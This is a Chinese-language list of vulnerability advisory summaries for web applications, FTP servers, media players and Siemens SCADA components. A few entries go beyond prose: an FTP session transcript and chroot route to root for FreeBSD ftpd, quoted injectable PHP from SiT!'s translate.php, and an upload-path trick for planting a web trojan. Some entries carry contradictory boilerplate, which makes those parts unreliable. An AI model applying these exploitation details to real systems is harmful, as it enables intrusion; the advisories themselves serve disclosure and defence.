WSN Classifieds中存在SQL注入漏洞和多个跨站脚本漏洞。攻击者可利用该漏洞盗取基于cookie的认证证书；操控应用程序；访问或修改数据；或者在底层数据库中利用该漏洞。WSN Classifieds 6.2.12和6.2.18版本中存在该漏洞，其他版本也可能受影响。
Support Incident Tracker (or SiT!)是一个基于Web技术支持电话或电子邮件的追踪应用程序。incident_attachments.php脚本存在跨站脚本攻击，攻击者上传包含任意脚本的文件名可触发此漏洞。此外link_add.php和translate.php脚本也存在此漏洞。
Support Incident Tracker (or SiT!)是一个基于Web技术支持电话或电子邮件的追踪应用程序。incident_attachments.php脚本存在SQL注入攻击，由于附件名没有正确过滤，攻击者额可以利用此缺陷在数据库上执行恶意SQL查询。
Support Incident Tracker (or SiT!)是一个基于Web技术支持电话或电子邮件的追踪应用程序。Support Incident Tracker没有正确限制上传文件的危险类型，incident_attachments.php脚本没有正确过滤附件扩展名，攻击者可以上传任意文件到服务器并以WEB服务特权运行。
X-Chat是一款免费开放源代码的IRC客户端。X-Chat在实现上存在远程拒绝服务漏洞。远程攻击者可利用此漏洞使应用程序崩溃，导致拒绝服务。
Kayako Fusion是一款服务台和即时聊天软件。Kayako Fusion存在安全漏洞，允许拥有'staff'特权的用户账户获得敏感信息。问题存在于基于Kayako查询语言报告生成逻辑上，授权的'staff'特权用户可生成包含用户名和密码HASH信息。
Ipswitch TFTP是一款TFTP服务程序。Ipswitch TFTP服务器程序不正确过滤目录遍历序列字符，攻击者可以利用漏洞提交恶意请求获得系统敏感文件。
HS TFTP Server是一款TFTP服务程序。HS TFTP Server处理用户提交的恶意命令存在问题，远程攻击者可以利用漏洞使服务程序崩溃。
Serv-U是一种被广泛运用的FTP服务器端软件。RhinoSoft Serv-U FTP Server实现上存在目录遍历漏洞，攻击者通过输入特定的路径串可以实现目录遍历，攻击者可以下载、上传、删除FTP根目录外的文件。
迅雷网邻用于发现邻里共享下载资源。迅雷网邻存在安全漏洞，允许远程攻击者利用漏洞下载对方未共享的任意文件。
StoryBoard Quick是一款快手制作情节示意图的软件，用于影视制作、MTV、广告、动画设计的工具。StoryBoard Quick处理特制的XML文件存在缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
IBM Tivoli Netcool/Reporter是一款历史事件报告软件应用程序。IBM Tivoli Netcool/Reporter存在安全漏洞，允许恶意用户破坏系统。应用程序没有过滤CGI相关的WEB请求，可被允许注入和执行任意SHELL命令。
CCMPlayer是一款媒体播放程序。CCMPlayer处理包含超长轨道名的m3u播放列表存在基于栈的缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
MediaWiki是一套以GPL授权发行的Wiki引擎。MediaWiki当设置了"curid"参数"preliminaryChecks()"函数不正确校验请求，可泄露私人wiki上的页面标题信息。
Hero中存在跨站脚本漏洞。该漏洞源于对用户提供的数据没有经过充分过滤，攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。Hero 3.69版本中存在该漏洞，其他版本中也可能受到影响。
AtMail中存在多个跨站脚本漏洞。该漏洞源于对用户提供的输入没有经过正确的过滤，攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。AtMail 1.0.4版本中存在该漏洞，其他版本中也可能受到影响。
Drupal是一款开源的CMS系统，可以作为各种网站的内容管理平台。  Drupal的Webform Validation模块中存在多个跨站脚本漏洞。该漏洞源于对用户提供的输入没有经过正确的过滤，攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。以下版本中存在漏洞：Webform Validation 6.x-1.4之前的6.x-1.x 版本，Webform Validation 7.x-1.0之前的7.x-1.x版本。
RhinoSoft Serv-U是一款FTP服务程序。FTPS存在一个安全漏洞，当在命令通道上SSL协商失败时Serv-u允许继续操作命令通道，这可导致攻击者进行中间人攻击。
RhinoSoft Serv-U FTP Server是一款流行的FTP服务程序。Serv-U FTP Server不正确过滤用户提交的特殊字符编码，如"/..:/"，允许远程攻击者获取系统任意文件内容。
FreeBSD ftpd和Proftpd是流行的FTP服务程序。攻击者提交如下命令：fbsd# ftp localhostTrying 127.0.0.1...Connected to localhost.220 fbsd.Belkin FTP server (Version 6.00LS) ready.Name (localhost:kcope): kcope331 Password required for kcope.Password:230 User kcope logged in, access restrictions apply.Remote system type is UNIX.Using binary mode to transfer files.ftp> quote site chmod 777 nonexistant550 nonexistant: No such file or directory.ftp> quote stat .212- Status of .:total 358518-rw-------   1 1001  0            49 Jul 19  2010 .bash_history-rw-r--r--   1 1001  0           763 Jun 19  2010 .cshrc-rw-------   1 1001  0          1611 Oct 10  2010 .history-rw-r--r--   1 1001  0           261 Jun 19  2010 .login-rw-------   1 1001  0           383 Jun 19  2010 .mail_aliases-rw-r--r--   1 1001  0           343 Jun 19  2010 .mailrclrwxr-xr-x   1 1001  0            11 Jul 25  2010 .nethackrc -> /etc/passwd-rw-r--r--   1 1001  0           789 Jun 19  2010 .profile-rw-------   1 1001  0           288 Jun 19  2010 .rhosts-rw-r--r--   1 1001  0           984 Jun 19  2010 .shrcdrwx------   2 1001  0           512 Jul 27  2010 .ssh.........212 End of status.ftp> quit221 Goodbye.ftpd守护程序会查找/etc/nsswitch.conf中文件，如果文件存在会从/lib和/usr/lib装载各种库文件如"/lib/nss_compat.so.1"。在chroot环境中，由于会在chroot中查找库，拥有可写的用户可获得本地/远程root。
Gretech GOM Player是一款媒体播放程序。Gretech GOM Player处理特制的ASX文件存在基于栈的缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
MediaWiki是一套以GPL授权发行的Wiki引擎。MediaWiki当处理部分AJAX请求时存在缺陷，在请求中提供文件名可识别私人WIKI中是否存在此文件。
CoDeSys是一种功能强大的PLC软件编程工具，它支持IEC61131-3标准IL 、ST、 FBD 、LD、 CFC、 SFC 六种PLC编程语言。3S CoDeSys提交非GET, POST或HEAD HTTP请求可触发空指针引用。
CoDeSys是一种功能强大的PLC软件编程工具，它支持IEC61131-3标准IL 、ST、 FBD 、LD、 CFC、 SFC 六种PLC编程语言。3S CoDeSys处理HTTP POST请求中的Content-Length值可触发空指针引用。
CoDeSys是一种功能强大的PLC软件编程工具，它支持IEC61131-3标准IL 、ST、 FBD 、LD、 CFC、 SFC 六种PLC编程语言。CmpWebServer是3SRTESrv3和CoDeSysControlService服务的组件，用于处理8080端口连接。函数0040f480拷贝输入URI到有限的栈缓冲区，可触发缓冲区溢出。
Oxide WebServer是一款WEB服务程序。Oxide M0N0X1D3 HTTP服务器不正确过滤包含目录遍历序列的文件名请求，可导致以WEB权限查看系统文件内容。
Virtual Vertex Muster是一款多媒体渲染软件。Virtual Vertex Muster提供的WEB接口存在目录遍历问题，提交类似(\..\..\)的字符，可以WEB权限查看系统文件内容。
Final Draft是一款剧本编辑文本处理工具。Final Draft处理.fdx和.fdxt文件格式存在缺陷，远程攻击者可以利用漏洞进行缓冲区溢出攻击。
Avid Media Composer是一款影视后期制作软件。Avid Media Composer网络守护程序AvidPhoneticIndexer.exe存在远程栈缓冲区溢出，向监听的网络服务监听的4659端口发送超大请求，可溢出进程栈并执行任意代码。
JQuery-Real-Person captcha插件存在安全绕过漏洞，攻击者可以利用漏洞绕过JQuery-Real-Person captcha插件，执行暴力攻击。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Fabrik组件存在任意文件上传漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在Web服务器进程中运行上传任意代码，这可能有助于未经授权的访问或特权升级。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Skysa App Bar存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
MiniWeb是一个针对嵌入式应用而开发的微型Web Server，用C语音编写。MiniWeb存在目录遍历漏洞。攻击者可以利用漏洞在受影响的服务器中下载任意文件。
Siemens SIMATIC WinCC是一款能为工业领域提供完备的监控与数据采集（SCADA）功能，涵盖单用户系统直到支持冗余服务器和远程Web客户机解决方案的多用户系统。miniweb存在安全漏洞，允许攻击者提交特制HTTP POST请求使服务器在检查请求文件的扩展名时访问任意非法内存区。
MiniWeb是一个针对嵌入式应用而开发的微型Web Server，用C语音编写。MiniWeb存在拒绝服务漏洞。攻击者可以利用漏洞导致服务器崩溃。
Siemens SIMATIC WinCC是一款能为工业领域提供完备的监控与数据采集（SCADA）功能，涵盖单用户系统直到支持冗余服务器和远程Web客户机解决方案的多用户系统。miniweb.exe监听在80和443端口，通过使用编码的反斜杠和目录遍历模式可下载下载目录之外的文件。
Siemens SIMATIC WinCC是一款能为工业领域提供完备的监控与数据采集（SCADA）功能，涵盖单用户系统直到支持冗余服务器和远程Web客户机解决方案的多用户系统。HmiLoad存在多个安全漏洞，允许攻击者通过多个方法停止服务或使服务崩溃。
eSyndiCat是一个专业的网站目录工具软件。eSyndiCat Pro存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Siemens SIMATIC WinCC是一款能为工业领域提供完备的监控与数据采集（SCADA）功能，涵盖单用户系统直到支持冗余服务器和远程Web客户机解决方案的多用户系统。HmiLoad服务器存在目录遍历漏洞，允许读，写和删除指定目录之外的任意文件。
Siemens SIMATIC WinCC是一款能为工业领域提供完备的监控与数据采集（SCADA）功能，涵盖单用户系统直到支持冗余服务器和远程Web客户机解决方案的多用户系统。HmiLoad提供的函数读取数据和unicode字符串存在基于栈的缓冲区溢出，允许攻击者利用漏洞执行任意代码。
Siemens Automation License Manager是西门子软件的授权管理器程序。get_target_ocx_param和send_target_ocx_param命令存在空指针引用错误，可导致服务崩溃。
Siemens Automation License Manager是西门子软件的授权管理器程序。almaxcx.dll ActiveX控件(ALMListView.ALMListCtrlE57AF4A2-EF57-41D0-8512-FECDA78F1FE7)提供的Save方法允许指定任意文件名来保存，攻击者构建恶意WEB页，诱使用户访问，可以""两字节覆盖任意文件。
Siemens Automation License Manager是西门子软件的授权管理器程序。某些长字段可用于触发异常： The exception unknown software exception (0xc0000417) occurred in  the application at location 0x????????.此异常是由于某些函数中使用wcscpy_s拷贝客户端提供的值到栈缓冲区时引起的。
Siemens Automation License Manager是西门子软件的授权管理器程序。Siemens Automation License Manager处理各种*_licensekey命令中的serialid字段时存在缓冲区溢出。
Titan FTP Server是一款FTP服务程序。Titan FTP Server不正确处理'APPE'命令，远程攻击者可以提交恶意请求使服务程序崩溃。
GitHub Inc. celery是一款分布式任务队列实现。Celery存在安全漏洞，允许本地用户以特权权限执行部分操作。当处理传递给守护进程的部分参数时存在安全问题，可导致以不安全权限创建文件，这可被利用以高特权发送消息或执行代码。传递给celeryd-multi, celeryd_detach, celerybeat和celeryev程序的--uid和--gid参数没有正确进行处理，只把有效用户进行了更改，而实际id维持不变。
A2CMS存在本地文件泄露漏洞。由于程序未能充分验证用户提供的输入，攻击者可以利用漏洞从存贮在运行着漏洞程序的计算机的本地文件中获得潜在的敏感信息。
Koha存在本地文件包含漏洞，由于传递到cgi-bin/koha/mainpage.pl中"KohaOpacLanguage" cookie值的输入在cgi-bin/opac/opac-main.pl中被用于包含文件前未能正确验证，攻击者可以利用漏洞通过目录遍历攻击和URL编码NULL字节从本地资源包含任意文件。
Graphite2存在多个未明的安全漏洞。目前没有详细的漏洞细节提供。
LibLime Koha存在本地文件包含漏洞。攻击者可以利用漏洞在Web服务器进程的上下文中获得敏感信息和执行任意代码，危及应用程序和计算机。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Flexible Custom Post Type存在参数跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
osCommerce是一款开放源代码的电子商务程序。osCommerce存在多个本地文件包含漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获得潜在的敏感信息，或在受影响的web服务器进程上下文执行任意本地代码。
TYPO3是一个免费开源的内容管理系统。TYPO3 Hut-Manager存在未明SQL注入漏洞。由于应用程序被用于在SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
colord存在SQL注入漏洞。由于在cd-mapping-db.c和cd-device-db.c文件中被用于SQL查询前未能正确过滤某些未明的输入，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg存在多个远程代码执行漏洞。攻击者可以利用漏洞以应用程序上下文执行任意代码。上述攻击未执行成功也可导致一个拒绝服务条件。
MyBB是一款基于PHP的论坛程序。MyBB存在未明漏洞。攻击者可以利用漏洞执行未经授权的操作。
MyBB是一款基于PHP的论坛程序。MyBB存在跨站请求伪造漏洞。攻击者可以利用漏洞披露并修改敏感信息。
MyBB是一款基于PHP的论坛程序。MyBB存在跨站点脚本漏洞。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据。
PHP Video Script存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Featurific For WordPress插件中存在跨站脚本漏洞。该漏洞源于对用户提供的输入没有经过正确的过滤，攻击者可利用该漏洞在受影响站点的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。Featurific For WordPress 1.6.2版本中存在该漏洞，其他版本也可能受影响。
Log1CMS 2.0存在远程控制漏洞。远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
Linux内核存在本地拒绝服务漏洞，远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
One Click Orgs存在开放重定向漏洞。程序接收'return_to'字段的任意值，利用302重定向将用户的使用重定向到一个特定的值。攻击者可以利用漏洞点击一个有效orgs实例的URLs，将用户重定向到其他网站。
One Click Orgs存在开放电子邮件中继漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞从一个伪造的邮件地址发送垃圾邮件到大量的邮件地址。
One Click Orgs存在拒绝服务漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞致使受影响的设备变得反应迟钝，导致拒绝服务。
CMS Balitbang是一款针对教育网站的内容管理系统。CMS Balitbang存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
One Click Orgs存在HTML注入漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
ZABBIX是一款CS结构的分布式网络监控系统。ZABBIX存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
AdaptCMS存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Horde是一款WEB应用程序架构，包括webmail, wiki和工作组。多个Horde产品存在安全问题，允许恶意用户绕过部分安全限制。问题是由于不正确限制对私人任务的访问，可通过API泄露整个细节，导致敏感信息泄露。
FishEye和Crucible中存在多个HTML注入漏洞和未授权访问漏洞，攻击者提供的HTML和脚本代码运行在受影响浏览器的上下文中。攻击者利用该漏洞可能窃取基于cookie的认证证书，控制网站传达给用户的方式或者获得对应用程序特权部分的访问权。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件ClickDesk Live Support存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
iTop存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码。
iTop存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制网站如何呈现给用户。
Dolibarr是一个简单的基于web的企业ERP和CRM系统。Dolibarr存在跨站脚本漏洞。由于程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Dolibarr是一个简单的基于web的企业ERP和CRM系统。Dolibarr存在SQL注入漏洞。由于程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Newsletter Meenews存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
PrestaShop存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Prestashop存在HTTP响应拆分漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞感染或篡改网页内容的传达、缓存、解释，有助于以虚假信息吸引客户端用户的攻击。
Jenkins Core存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Pro Clan Manager存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能正确过滤用户提供的数据。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Atmailopen存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
Zen Cart是开源、免费的商城系统，用于建立专业的网上商店。Zen Cart存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
PHP-Nuke是一款流行的基于PHP的论坛程序。PHP-Nuke存在一个盲注问题，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。
Namazu是一款全文本搜索引擎。Namazu处理HTTP COOKIE时执行CGI参数过滤存在跨站脚本缺陷，如果namazu配置为CGI脚本，远程攻击者可以提供特制WEB页，由搜索引擎处理可导致任意HTML或WEB脚本执行，或允许获得HTTP COOKIE信息。
Namazu是一款全文本搜索引擎。Namazu在执行某些查询结果的URI更换时存在基于栈的缓冲区溢出，如果Namazu配置为CGI脚本，远程攻击者可以提供特制查询(使用空值的"URI"字段)，可导致namazu崩溃，可能以用户运行namazu权限执行任意代码。
Hastymail是一个快速、安全，跨平台的IMAP/SMTP客户端。提供一个简洁的Web界面来发送和读取E-mail。/lib/ajax_functions.php脚本不正确处理 $_POST['rs'] and $_POST['rsargs[]']参数，远程攻击者可以利用漏洞提交特制参数，以WEB权限执行任意PHP代码。允许攻击者访问存储在服务器上的任意文件信息或在服务器上删除/写文件。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Advanced Text Widget插件中存在跨站脚本漏洞。该漏洞源于对用户提供的输入没有经过正确的过滤，攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。Advanced Text Widget 2.0.0版本中存在该漏洞，其他的版本也可能受影响。
TYPO3是一个免费开源的内容管理系统。TYPO3中winning_game组件存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Destination Search存在安全绕过漏洞。攻击者可以利用漏洞绕过安全限制。
ITHorizon存在SQL注入漏洞。目前没有详细细节提供。
TYPO3是一个免费开源的内容管理系统。TYPO3 MG Rooms扩展存在未明SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
TYPO3是一个免费开源的内容管理系统。TYPO3 MG Rooms扩展存在未明跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
TYPO3是一个免费开源的内容管理系统。TYPO3中T3C Podcasts组件存在安全漏洞。允许攻击者添加来自不受信任来源的网络功能，攻击者可以利用漏洞获得敏感信息或破坏应用程序的完整性。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Alert Before Your Post存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
GOCDKEY推广系统是一款高效的内容推广系统，基于WEB技术的内容管理系统。GOCDKEY推广系统在上传图片文件的时候未对用户自定义路径进行过滤，致使攻击者可在本地伪造表单页面，提交自定义路径，在服务器上建立例如1.asp;文件夹，再上传特定构造好的图片木马文件，直接获得网站的管理权限。
FishEye/Crucible由于未限制访问变更或评论，攻击者可以利用漏洞通过工具提示从资料库或项目读取元数据。
WordPress是一款使用PHP语言开发的内容管理系统。Wordpress插件Adminimize存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
FishEye/Crucible存在脚本注入漏洞，由于某些关于用户评论片段的输入在被使用前未能正确过滤，攻击者可以利用漏洞通过查看恶意数据在受影响站点上下文的用户浏览器会话中插入任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。Wordpress插件Lanoba Social存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
FishEye/Crucible存在脚本注入漏洞，由于某些关于用户个人资料显示名称的输入在被使用前未能正确过滤，攻击者可以利用漏洞通过查看恶意数据在受影响站点上下文的用户浏览器会话中插入任意HTML和脚本代码。
搜狗浏览器是国内一款流行的浏览器。搜狗浏览器存在一个未明缓冲区溢出漏洞，攻击者构建恶意WEB页，诱使用户解析，可导致任意代码执行，目前没有详细漏洞细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。Wordpress插件Jetpack存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Privoxy是一款带过滤功能的代理服务器，针对HTTP、HTTPS协议，经常跟Tor组合使用。如果生成的重定向URL包含RFC 3986不允许的字符，它们应该编码或重编码。但Privoxy3.0.5到3.0.17版本之前没有做此操作，可导致HTTP应答分片漏洞。
Microsoft Windows是一款流行的操作系统。当装载键盘布局文件时win32k.sys驱动存在一个索引错误，可被利用访问非法内存位置而导致系统崩溃。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg "av_image_fill_pointers()", "vp5_parse_coeff()"和"vp6_parse_coeff()"存在错误，可被利用触发越界读。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg "vp3_dequant()"函数(libavcodec/vp3.c)存在整数溢出错误可导致缓冲区溢出。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP e-Commerce存在脚本注入漏洞，由于在添加物品到购物车时，通过"custom_text"参数传递到index.php的输入在被使用前未能正确过滤，攻击者利用漏洞通过查看恶意数据在受影响站点上下文的用户浏览器会话中插入任意HTML和脚本代码。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg QDM2解码器(libavcodec/qdm2.c)存在错误可导致缓冲区溢出。
Dovecot是Linux/UNIX类系统平台上的开源IMAP和POP3服务器。  Dovecot 2.0.16之前版本中存在安全绕过漏洞。该漏洞源于其应用程序没有正确验证服务器上的SSL证书，攻击者可利用该漏洞执行中间人攻击或者冒充受信任的服务器，这会有助于进一步的攻击。
Hastymail2中存在跨站脚本漏洞。该漏洞源于对用户提供的数据没有经过充分过滤，攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书，发起其他攻击。Hastymail2 1.1 RC1版本中存在该漏洞，其之前版本也可能受到影响。
Juniper JUNOS是网络操作系统，提供卓越的故障恢复能力并确保能够简单地集成IPv6。  Juniper Juno 10.2 R3之前版本中存在安全绕过漏洞。攻击者可利用该漏洞绕过某些未经强制执行的安全策略。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Zingiri插件0.9.12至2.2.3版本中存在任意代码执行漏洞。该漏洞源于其应用程序对用户提供的输入没有经过过滤，攻击者可利用该漏洞在受影响web服务器进程的上下文中执行任意PHP代码。
SPIP是基于PHP+MySQL的网络出版发行系统。  SPIP 2.1.12之前的版本中存在远程权限提升漏洞。攻击者可利用该漏洞获得对受影响应用程序管理级的访问权，成功的攻击可能操控应用程序。
新中新公司开发的一卡通查询系统广泛应用于国内各大高校。系统存在多处权限绕过漏洞，可以获取任意用户个人隐私信息(身份证号、照片、手机号等等)、消费记录(几点几分在哪点消费)，利用这些信息可以造成更深层次的攻击。
Webplus 2008内容管理系统中某个上传页面未对文件类型进行验证，导致可上传jsp等危险脚本。
Digital Attic Foundation CMS存在SQL注入漏洞。由于程序在被用于SQL查询前未能正确过滤用于提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
Valid tiny-erp存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Blogs Manager存在SQL注入漏洞。由于程序在被用于SQL查询前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
Freelancer calendar存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Support Incident Tracker (or SiT!)是一个基于Web技术支持电话或电子邮件的追踪应用程序。问题代码存在于/translate.php 234. foreach (array_keys($_POST) as $key) 235. { 236. if (!empty($_POST[$key]) AND substr($key, 0, 3) == "str") 237. { 238. if ($lastchar!='' AND substr($key, 3, 1) != $lastchar) $i18nfile .= "\n"; 239. $i18nfile .= "\${$key} = '".addslashes($_POST[$key])."';\n"; 240. $lastchar = substr($key, 3, 1); 241. $translatedcount++; 242. } 243. } 通过$_POST[$key]数组传递的输入在存储到239行的$i18nfile变量时缺少过滤，此变量会作为语言文件内容以PHP扩展存储在'i18n目录中，这允许验证用户注入和执行任意PHP代码。另外直接访问/translate.php?mode=save可获得应用程序的安全路径。
QQ Player是一款国内流行的媒体播放程序。QQ Player存在缓冲区溢出问题，当打开包含特制的PnSize值的.mov文件时，可触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
ARASTAR用于对用户的输入没有充分过滤容易产生SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
redmind Online-Shop/E-Commerce-System存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
SPIP是一基于Web的内容发布系统。SPIP某个授权检查存在错误，攻击者可通过登录会员获得管理员权限。
Zenprise Device Manager存在跨站请求伪造漏洞。攻击者可以利用漏洞执行某些行政行为和未经授权访问受影响的应用程序。
GoAhead WebServer是一款开放源代码的嵌入式WEB服务器程序，支持Active Server Pages、嵌入式Javascript、SSL验证和加密，广泛使用在Microsoft Windows和Linux操作系统下。GoAhead WebServer存在跨站点脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据，并发动其他攻击。
迅雷看看播放器是中国很流行的媒体播放器。迅雷看看播放器不正确处理".wav"文件，可触发基于栈的缓冲区溢出，攻击者可以构建恶意文件，诱使用户解析，以应用程序上下文执行任意代码。
SPIP是一基于Web的内容发布系统。SPIP'exec_aide_index_dist()'函数存在输入验证问题，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
ZOHO ManageEngine ADSelfService Plus是一个安全的，基于Web的最终用户自助服务密码重置方案。ZOHO ManageEngine ADSelfService Plus存在跨站漏洞。攻击者可以利用这个问题绕过安全限制在用户浏览器中执行任意脚本代码以此盗取用户敏感信息。       远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
Vanira CMS中存在SQL注入漏洞。由于用户提供的输入被用于SQL查询之前没有经过正确过滤，攻击者可借助vtpidshow参数访问或者修改数据。
